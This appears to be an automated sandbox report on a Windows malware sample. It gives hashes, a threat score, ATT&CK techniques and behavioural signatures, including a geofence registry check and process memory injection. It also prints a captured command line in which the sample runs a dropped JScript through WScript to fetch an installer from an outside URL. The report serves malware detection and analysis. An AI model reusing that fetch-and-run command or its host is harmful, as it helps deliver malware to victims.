ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895

Analysis

max time kernel
111s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2022, 12:06

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General

Target

ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe
Size

184KB
MD5

45116d697d67e76987fc579d3047f65b
SHA1

fe42889713008e4db4b2bf54c97b389d4dda8b69
SHA256

ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895
SHA512

61ea4a80e7f64729154cad85fbd289af1071d4fc57b666c20aabe5b9f1badfe885a663ab7c4d2b37969c6e84c58fb2fd65f8bc1637aaf9accbea07df92030c33
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3u:/7BSH8zUB+nGESaaRvoB7FJNndnz

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4708	WScript.exe
6	4708	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 4708	4896	ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe	80
PID 4896 wrote to memory of 4708	4896	ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe	80
PID 4896 wrote to memory of 4708	4896	ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe	80

C:\Users\Admin\AppData\Local\Temp\ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe
"C:\Users\Admin\AppData\Local\Temp\ab31c7fc0eba3c60d738b9a690a05b6410ff2d2e3561d08aba78d23d732cc895.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9465.js" http://www.djapp.info/?domain=hlkmemLhJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf9465.exe
  2⤵
  - Blocklisted process makes network request
  PID:4708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf9465.exe

Filesize
570B

MD5
ba29804e771e6985ed93954fe1d52165

SHA1
e8c38095ed066bfaa57f61899478513c4ce5073d

SHA256
fa990d12f5b445fa48cd7b117ac312273da6e9f376a60a61f7bc7d0c4da312d0

SHA512
daa737c7dd2f923cf245467d4bd0c3f527713ee089fb1b0508bfb7a52c034fd9dddc9fdc3b3461aa6197b7de464d8fef0473aa2bb27589fae0121236e76e8132

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf9465.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit